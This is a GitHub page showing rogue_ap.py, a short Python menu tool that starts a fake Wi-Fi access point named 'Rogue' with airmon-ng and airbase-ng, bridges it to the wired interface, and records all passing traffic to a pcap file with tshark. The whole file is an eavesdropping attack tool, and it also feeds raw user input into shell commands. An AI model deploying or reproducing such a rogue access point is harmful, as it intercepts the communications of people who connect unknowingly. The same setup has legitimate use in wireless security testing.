-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathrogue_ap.py
executable file
·54 lines (46 loc) · 1.91 KB
/
rogue_ap.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python3
import subprocess
def rogue():
iface= input("Interface name: ")
subprocess.call('sudo airmon-ng start '+iface, shell=True)
subprocess.call('sudo airbase-ng --essid Rogue -c 1 mon0', shell=True)
def bridge():
subprocess.call('sudo brctl addbr Wifi-Bridge', shell=True)
subprocess.call('sudo brctl addif Wifi-Bridge eth0', shell=True)
subprocess.call('sudo brctl addif Wifi-Bridge at0', shell=True)
def sniff():
subprocess.call('tshark -i at0 -q -w output.pcap', shell=True)
banner=("""\033[1;31m
________ _______________
___ __ \____________ ____ ______ ___ |__ __ \
__ /_/ / __ \_ __ `/ / / / _ \ __ /| |_ /_/ /
_ _, _// /_/ / /_/ // /_/ // __/ _ ___ | ____/
/_/ |_| \____/_\__, / \__,_/ \___/ /_/ |_/_/
/____/
________ ______ _____________
___ __ \_____ __________________ /_________________________ __ ___ __ \__(_)
__ /_/ / __ `/_ ___/__ __ \_ __ \ _ \_ ___/_ ___/_ / / / __ /_/ /_ /
_ _, _// /_/ /_(__ )__ /_/ / /_/ / __/ / _ / _ /_/ / _ ____/_ /
/_/ |_| \__,_/ /____/ _ .___//_.___/\___//_/ /_/ _\__, / /_/ /_/
/_/ /____/
\033[1;31m
""")
while(True):
subprocess.call('clear', shell=True)
print(banner)
print("""1- Launch Rogue AP
2- Build the bridge
3- Start Sniffing
4- Exit
""")
op1 = input(">> ")
if op1 == '1':
rogue()
elif op1 == '2':
bridge()
elif op1 == '3':
sniff()
elif op1 == '4':
break
else:
print ("Select a correct option")